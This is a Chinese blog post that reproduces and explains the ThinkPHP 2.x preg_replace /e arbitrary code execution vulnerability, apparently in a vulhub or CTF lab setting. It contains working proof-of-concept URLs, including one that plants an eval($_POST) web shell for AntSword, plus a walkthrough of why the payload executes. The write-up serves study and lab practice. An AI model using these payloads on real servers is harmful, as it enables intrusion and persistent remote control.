欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

Thinkphp2.x 任意代码执行漏洞

程序员文章站 2022-07-16 11:41:47
...

1.漏洞复现

ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。

2.POC

http://your-ip:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D

http://node3.buuoj.cn:26866/index.php?s=%2findex%2findex%2fname%2f$%7Beval($_POST%5Ba%5D)%7D

可以直接蚁剑连接
Thinkphp2.x 任意代码执行漏洞
正则表达式的修饰符/e:只用在preg_replace()函数中,在替换字符串中逆向引用做正常的替换,将其(即“替换字符串”)作为PHP代码求值,并用其结果来替换所搜索的字符串
例:

<?php
$a = '1a2b3c';
$b = preg_replace('/\d/e', 'print(xxx);', $a);
echo $b;
>

运行结果

Notice: Use of undefined constant xxx - assumed 'xxx' in F:\phpstudy\WWW\1.php(8) : regexp code on line 1
xxx
Notice: Use of undefined constant xxx - assumed 'xxx' in F:\phpstudy\WWW\1.php(8) : regexp code on line 1
xxx
Notice: Use of undefined constant xxx - assumed 'xxx' in F:\phpstudy\WWW\1.php(8) : regexp code on line 1
xxx1a1b1c

虽然有报错,但是已经执行了print(xxx)
正则表达式的搜索模式:(\w+)/([^/])是取每两个参数

$var[’\1’]="\2";是对数组的操作,将之前第一个值作为新数组的键,将第二个值作为新数组的值

例:

<?php
$var = array();
$s = 'a/b/c/d/e/f/g';
preg_replace("/(\w+)\/([^\/])/ies", '$var[\'\\1\']="\\2";', $s);
print_r($var);
?>

运行结果

Array ( [a] => b [c] => d [e] => f ) 

这里最开始匹配到a、b,a作为键,b作为值,以此类推

为了让我们构造的语句以执行,我们只需要将语句作为数组的值,如:

/index.php?s=a/b/c/${phpinfo()}
/index.php?s=a/b/c/${phpinfo()}/c/d/e/f
/index.php?s=a/b/c/d/e/${phpinfo()}
......

(语句在第偶数个参数位置)

PHP语法
在PHP中${}里面可以执行函数